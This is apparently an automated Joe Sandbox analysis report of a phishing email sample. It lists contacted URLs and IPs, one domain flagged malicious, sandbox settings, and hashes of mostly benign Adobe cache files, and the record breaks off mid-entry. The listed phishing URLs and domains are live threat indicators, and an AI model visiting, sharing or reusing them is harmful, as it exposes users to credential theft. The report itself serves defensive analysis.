https://studiolibracreatives.com/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3/%E5%90%8E%E8%99%8E%E9%92%B3.html	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/flow/ov1/509735373:1744727329:-YW1A3bwW053c2zmmSS2OcOMzov6Q1-tW3O6WnEbbzE/930c69e57fdbb045/L9le7iPzvl.6kqXJx27DzU_8FFIEckT1r1_h8HvAV8s-1744730286-1.1.1.1-xyxc0INDBWNjnZvbqZjUv3kf8PYKsmLBXzDQyidaDQxfQVP7puliEmqOcXUvoVxN	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/b/580ba44007a6/api.js	false		high
https://one.alketbilabs.ai/	true	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false		high
https://ipapi.co/json/	false		high
https://cochranamdmann.com/favicon.ico	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.8.44	ipapi.co	United States	13335	CLOUDFLARENETUS	false
52.109.4.7	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.140.237	pub-e34937fc417148e6b0ed0cb1209aabd4.r2.dev	United States	13335	CLOUDFLARENETUS	false
23.76.34.6	unknown	United States	19037	AMXArgentinaSAAR	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
52.123.129.14	s-0005.dual-s-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
88.198.22.18	unknown	Germany	24940	HETZNER-ASDE	false
173.194.219.94	unknown	United States	15169	GOOGLEUS	false
52.22.41.97	unknown	United States	14618	AMAZON-AESUS	false
104.26.1.170	one.alketbilabs.ai	United States	13335	CLOUDFLARENETUS	false
184.31.60.185	unknown	United States	16625	AKAMAI-ASUS	false
199.232.214.172	bg.microsoft.map.fastly.net	United States	54113	FASTLYUS	false
74.125.136.101	unknown	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
74.125.136.102	unknown	United States	15169	GOOGLEUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
40.79.141.152	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
74.125.138.147	www.google.com	United States	15169	GOOGLEUS	false
184.25.164.138	unknown	United States	9498	BBIL-APBHARTIAirtelLtdIN	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
172.67.68.147	unknown	United States	13335	CLOUDFLARENETUS	false
23.55.253.31	e8652.dscx.akamaiedge.net	United States	20940	AKAMAI-ASN1EU	false
173.194.219.84	unknown	United States	15169	GOOGLEUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
172.67.177.152	cochranamdmann.com	United States	13335	CLOUDFLARENETUS	true
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16
192.168.2.15
192.168.2.14

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1665579
Start date and time:	2025-04-15 17:16:26 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Sample name:	original.eml
Detection:	MAL
Classification:	mal68.phis.winEML@45/47@29/160
Cookbook Comments:	Found application associated with file extension: .eml

Warnings

Exclude process from analysis (whitelisted): SIHClient.exe
Excluded IPs from analysis (whitelisted): 23.76.34.6, 52.123.129.14, 4.175.87.197
Excluded domains from analysis (whitelisted): ecs.office.com, dual-s-0005-office.config.skype.com, fs.microsoft.com, slscr.update.microsoft.com, ecs.office.trafficmanager.net, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: cochranamdmann.com
VT rate limit hit for: pub-e34937fc417148e6b0ed0cb1209aabd4.r2.dev

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3ccc2a5f-22a2-4a4a-ad34-c72f9e1c462d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.993064961529478
Encrypted:	false
SSDEEP:
MD5:	8A9D9F477472361C55C9B1E282D4A608
SHA1:	E2DA41852D9164CFEC03E29197180EE2260ACB85
SHA-256:	733E10E40D40172A38FCF7CA5F623896DC3392F844BB29E6248F4F313A379931
SHA-512:	59E88E51D0A3F88CDB9218E77151EE4D593C8BE71DB243A8B517BB8C32C760D02814114D05FBDADAF91340504F7D76662913C49F60499BCA4ACF29AE632B8FDA
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13389290275571592","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":108735},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	8A9D9F477472361C55C9B1E282D4A608
SHA1:	E2DA41852D9164CFEC03E29197180EE2260ACB85
SHA-256:	733E10E40D40172A38FCF7CA5F623896DC3392F844BB29E6248F4F313A379931
SHA-512:	59E88E51D0A3F88CDB9218E77151EE4D593C8BE71DB243A8B517BB8C32C760D02814114D05FBDADAF91340504F7D76662913C49F60499BCA4ACF29AE632B8FDA
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13389290275571592","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":108735},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250415151747Z-164.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 117 x -152 x 32, cbSize 71190, bits offset 54
Category:	dropped
Size (bytes):	71190
Entropy (8bit):	2.3080066611095567
Encrypted:	false
SSDEEP:
MD5:	B624D433C90A85674CF37851AA49B794
SHA1:	D0DDD1E67A824BA7895217EE7F234463D3E0966F
SHA-256:	5BDD38456AAC192929674734E5B3400754ECCBF688FDA07D85CE309E3A436AD7
SHA-512:	E2D627A8F7E9CFB4EFC5125F373381022B05680C82B7E84106F8FA3F7EED2D12D3BB2E2C81288A82C3D71EF50766BF3765127D2E2B1A1FD697A59431BCA78EF9
Malicious:	false
Reputation:	unknown
Preview:	BM........6...(...u...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 2, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.291927920232006
Encrypted:	false
SSDEEP:
MD5:	A4D5FECEFE05F21D6F81ACF4D9A788CF
SHA1:	1A9AC236C80F2A2809F7DE374072E2FCCA5A775C
SHA-256:	83BE4623D80FFB402FBDEC4125671DF532845A3828A1B378D99BD243A4FD8FF2
SHA-512:	FF106C6B9E1EA4B1F3E3AB01FAEA21BA24A885E63DDF0C36EB0A8C3C89A9430FE676039C076C50D7C46DC4E809F6A7E35A4BFED64D9033FEBD6121AC547AA5E9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	16928
Entropy (8bit):	1.2154555508318914
Encrypted:	false
SSDEEP:
MD5:	DB944755CCA7DF7665980C0CF0C943F9
SHA1:	51E03B1C0D62B8E18344F01864FB4D5A7AC5F0BD
SHA-256:	F9346455EFD02F8B26F3E521720F74F1CF53BA20B7B34A0D44BDD92D1594F02D
SHA-512:	E46C7B2CC0DB12D2CC641F12705AF4FEF9C25E537A327338834F8CCFD4665DC2128825D7C886CB43E27FF05AA0BF8587F041EFDAB73AA25C7B4F4E2CF0072D4A
Malicious:	false
Reputation:	unknown
Preview:	.... .c.....`...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Reputation:	unknown
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 73305 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	73305
Entropy (8bit):	7.996028107841645
Encrypted:	true
SSDEEP:
MD5:	83142242E97B8953C386F988AA694E4A
SHA1:	833ED12FC15B356136DCDD27C61A50F59C5C7D50
SHA-256:	D72761E1A334A754CE8250E3AF7EA4BF25301040929FD88CF9E50B4A9197D755
SHA-512:	BB6DA177BD16D163F377D9B4C63F6D535804137887684C113CC2F643CEAB4F34338C06B5A29213C23D375E95D22EF417EAC928822DFB3688CE9E2DE9D5242D10
Malicious:	false
Reputation:	unknown
Preview:	MSCF....Y.......,...................I.................;Za. .authroot.stl.98.?.6..CK..<Tk......4..c... .Ec...U.d.d.E&I.DH..M.KB."..rK.RQ..}f..f...}..1....9...........$.8q..fa...7.o.1.0...bfsM4.........u..l..0..4.a.t....0.....6#....n. :... ....%.,CQ5uU..(.3.<7#.0..JN.$...=j\|w...#.oU..Eq[..P..^..~.V...;..m...I\|...l..@-W..=.QQ.._./.M.nZ..(.........`.$Z.9wW:W.]..8E.......I.D{..n...K:.m..^.(.S.......c..s.y..<...2.%o.o.....H.B.R.....11.\|!.(...........h.SZ........<...^....Z>.Pp?... .pT@p.#.&..........#VEV=.....p........y..."T=l.n..egf.w..X.Y..-G...........KQ.]...pM..[m..-6.wd:........T...:.P5Zs....c.oT`..F1#......EuD.......7....V ..-....!.N..%S...k...S. ...@.J..../..b!B.(=\../.l......`.\...q9..>4!b..8EH.....zdy.....#...X>%0w...i.,>c.z.g"p.S..2W.+mMs.....5Def.....#._D.4....>}...i...\.&`D.......z;..ZY.3.+t.`....z_.q'w.z.)..j3.+.co.s..:.........qK...{...E....uPO...#vs.XxH.B!..(t. 8k+.....G\..?..GF8....'..w.>.ms..\ve.nFN..W)....xi..u..5.f.l....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7673182398396405
Encrypted:	false
SSDEEP:
MD5:	B0069B83FB164243AEAADED2693D015E
SHA1:	503C1F29B7857E9C4B77A5E1C9219CFECDE57D72
SHA-256:	8163434A6414D6927DD4FFBC2DF9235D430F5168234E81840F7D191CEC2B57C1
SHA-512:	7040C4387CD81BE8EA5ABB79FBB99A7CB617F438229A071F64464B5BB9359CE27836D4B5C8C68CF4A3F45F8313AF773F65957D34BABAE7E2AF4E6B02D8865619
Malicious:	false
Reputation:	unknown
Preview:	p...... .........~......(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	330
Entropy (8bit):	3.264076776166213
Encrypted:	false
SSDEEP:
MD5:	7522F32C727A02C08A6C8FC106815CEA
SHA1:	2993F4FD014C3545046A2E91D4545BD8AE5D0D79
SHA-256:	04DEA88D6ABFFF10D168F7810FB74AF405127E73A4A23FE2B83D4A8A8AE68B68
SHA-512:	12F545F2A8ED7E807D45BBB054814D514C2F388E19780F0C7F2EE740598F3E99FAE99E46A7C6F274841AC644EB2F207FA8C1E3528AB078C1D46E67E41940A0CC
Malicious:	false
Reputation:	unknown
Preview:	p...... ........l.5.....(....................................................... ..................(....c*.....Y...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".6.4.2.7.f.6.c.2.b.7.8.7.d.b.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.372004795272038
Encrypted:	false
SSDEEP:
MD5:	F80476DC72505C883A23C326132F952D
SHA1:	B31D4634806A3674D84CAF3BC58B9F8139EC6D39
SHA-256:	64CDBB57ACA44F00F57148CA657E0EA690ABD2C81E5DA558FABDC8A9DFE7D27F
SHA-512:	65034248156DE159F08C8913E7D55445ABA0D714A075003F5518B04EA6E50B7E0E131DE84766799995E9035E77DE2A2ACEF5ACE3D3A8E7FF9C27B389578DF2B0
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"8421fcfc-93aa-4b25-9059-100a5c3b0967","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744906578773,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.321357581266492
Encrypted:	false
SSDEEP:
MD5:	4512502984ED3075C0658F507886E363
SHA1:	FCF477B09F771B195C40589DC245CBC663790828
SHA-256:	620504DF9CC49677AFA23BD20833899A260E6BE8986B34DCCE824D81755623C5
SHA-512:	29FF3BD227F1F90F4889AE81CF81300B513BFC71FF3C174AF864929DA3D6EBE67E31318353593B86093D6792A9A1F8E902F45F1F93922D395A9375115F24CF83
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"8421fcfc-93aa-4b25-9059-100a5c3b0967","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744906578773,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2989007794851135
Encrypted:	false
SSDEEP:
MD5:	D1D0A812BA5B21BE9948C779749B2112
SHA1:	42D4850CC50C6E1495B80CCE6D0D3B00A116312B
SHA-256:	2B0886FD1D0137F8D0715AC075F72639B4B1909403F279672F08D80A8F1A6FDA
SHA-512:	589A1B7E4822CA915FA73025F0C911A17DABD3029403A4499D742DE0C6ED61D46B763C944EDCD7BFD89EDB202BF361B8C2990600CDD3525373233E80CCC2ACAF
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"8421fcfc-93aa-4b25-9059-100a5c3b0967","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744906578773,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.360688191344782
Encrypted:	false
SSDEEP:
MD5:	9300215E33199877822866683515FD68
SHA1:	D8B7A4001A595111733A88B44B123811B6B63A17
SHA-256:	5EED7B46E138A575FBF807EDA972A2171E227AC1C5EC033BC8F3F766FFEE6478
SHA-512:	6B8AAA240B9A4BD69E464EA35F04F97B6DAFD2E665D408DA2A7E2283859B1E166E61A98DB0FAA963FB978DAC142956CB79EE76AB7C3C60067C543052B25F4D42
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"8421fcfc-93aa-4b25-9059-100a5c3b0967","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744906578773,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2213
Entropy (8bit):	5.8466591432313795
Encrypted:	false
SSDEEP:
MD5:	87C8776D64C600741459084AD75D62CB
SHA1:	24D64B29576176885C84BE1B6BD01ECF7C48FC92
SHA-256:	8CA1743B1C96E214E90B93493C05B34135C944D068F2B43DD6AEC9C724AC7956
SHA-512:	2506C692A17AB0FF9C51AF4DB47A1E906B34E1F57AAAA3A47E9A2B9E579D40390DD65CF701172F2CCD5F81CF4119D47904142FBCB7F063F492BA511B62B5F555
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"8421fcfc-93aa-4b25-9059-100a5c3b0967","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744906578773,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"102656_316349ActionBlock_1","campaignId":102656,"containerId":"1","controlGroupId":"","treatmentId":"5a9d1955-ab74-4b89-837a-074b702313c0","variationId":"316349"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJkYXRhIjp7ImxocFYyQnlQYXRoIjp7Iml0ZW0iOnsiX3BhdGgiOiIvY29udGVudC9kYW0vYWNyb2JhdGRlc2t0b3AvZ3Jvd3RoL3JlYWRlci9lbi11cy9saHAtYmFubmVyL3YyL2NvbnZlcnQiLCJfaWQiOiJlYjYyOWYwOC00YmZiLTRkYmEtYjQzNC01MzUyZTg1MGU4NWYiLCJfdmFyaWF0aW9uIjoicmdzMDM2MS0wIiwidGl0bGUiOm51bGwsImRlc2NyaXB0aW9uIjoiRXhwb3J0IFBERnMgdG8gTWljcm9zb2Z0IFdvcmQgYW5kIEV4Y2VsLiIsImN0YUxhYmVsIjpudWxsLCJjdGFCZW

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311527739009422
Encrypted:	false
SSDEEP:
MD5:	E72B409949874781EE3998D8449EB7ED
SHA1:	1C595D58EEB288E832C9B354B9425E30DBA7BF01
SHA-256:	B0952A12D0B2CADC9E09AEF00E6F7DEC0FC04E6C76439F162C33CF85D1B8E06B
SHA-512:	09C19BB16125E9CA32FC7A948B5CD984617B538C9CC33605615807E0BDCEC1AEACEEE7974BE116965FE733A0A530FD63E140361A659B15E36FECA58631EC1042
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"8421fcfc-93aa-4b25-9059-100a5c3b0967","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744906578773,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.314952151649701
Encrypted:	false
SSDEEP:
MD5:	9889E67361D11AE0E98091A42011108B
SHA1:	8436E4E457941D8A3E0E392A9B2E5D6792195801
SHA-256:	3E21F88CD754DA8EA9CD7C72DFA838601CE2A0752C0F9ACC1A78B977981FCBFC
SHA-512:	3D2EC1294F83B24EB6B0E82BA21E025195C24B5DF4110863EF8258260D30EF93698A029F8764FF06844B338D859B8524E0715511C1C9358A1B1E1165521941EA
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"8421fcfc-93aa-4b25-9059-100a5c3b0967","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744906578773,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2160
Entropy (8bit):	5.834195301690217
Encrypted:	false
SSDEEP:
MD5:	FDFE4EEE7D5C973622F9DD4717187069
SHA1:	2FCBF4139E5FB7C19CEA3F6EE57FA3CEABC06091
SHA-256:	8ED85067D38B058A9AA3991ED8FCFBFA626775BB044311F07454E67A6C9EDB6F
SHA-512:	C380391D5DAEAA499865ABD318EAF176F7CA3A1E22B0B4C42DA2E23AA7BE30E5642F191156D4CAEA0DBCA842EEAB8A50602E901D25EA5411E64D3AA2E729A5DF
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"8421fcfc-93aa-4b25-9059-100a5c3b0967","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744906578773,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Edit_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"102656_316349ActionBlock_2","campaignId":102656,"containerId":"1","controlGroupId":"","treatmentId":"164bf29d-ee04-491c-adf2-c0bfeedb2d1b","variationId":"316349"},"containerId":1,"containerLabel":"JSON for DC_Reader_Edit_LHP_Banner","content":{"data":"eyJkYXRhIjp7ImxocFYyQnlQYXRoIjp7Iml0ZW0iOnsiX3BhdGgiOiIvY29udGVudC9kYW0vYWNyb2JhdGRlc2t0b3AvZ3Jvd3RoL3JlYWRlci9lbi11cy9saHAtYmFubmVyL3YyL2VkaXQiLCJfaWQiOiIzNzkzMGExNC1kOGMwLTRlZDYtYjI0Yi0zZGUzY2FlZjZlNjAiLCJfdmFyaWF0aW9uIjoicmdzMDM2MS0wIiwidGl0bGUiOm51bGwsImRlc2NyaXB0aW9uIjpudWxsLCJjdGFMYWJlbCI6bnVsbCwiY3RhQmVoYXZpb3IiOm51bGwsImN0YVVybCI6bnVsbCwiY3RhVXJsVHlwZSI6bnVsbCwidHJ

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.337579486141583
Encrypted:	false
SSDEEP:
MD5:	3CDDD9A2636A11BE2D1C977F8B5B1D6E
SHA1:	38B91EA871D2F544DC7FBCE06589E6F5D40F36E8
SHA-256:	7A05B3763E99245617C866506C8AC74531A62D9836155ACDB1241F937BEA2122
SHA-512:	EF7316DB3A7A98DD28AECD6A2229EE683C89772F02B696DABE855B57926FC4DBC86754F25BA3054071187744E74F615D360F1C955B6CBB43C832C79D900109C3
Malicious:	false
Reputation:	unknown
Preview:	{"analyticsData":{"responseGUID":"8421fcfc-93aa-4b25-9059-100a5c3b0967","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1744906578773,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.318878890493467
Encrypted:	false
SSDEEP:
MD5:	B4007BF4159007B2A3EA6AB4F7B47E20
SHA1:	86DD6C57C5F1261214CD123934133C6854EFA7EA
SHA-256:	AA5E3F4AB752A6C92F8210E8FCB7D5A613DFA56992C9F41936EB073352F757FC
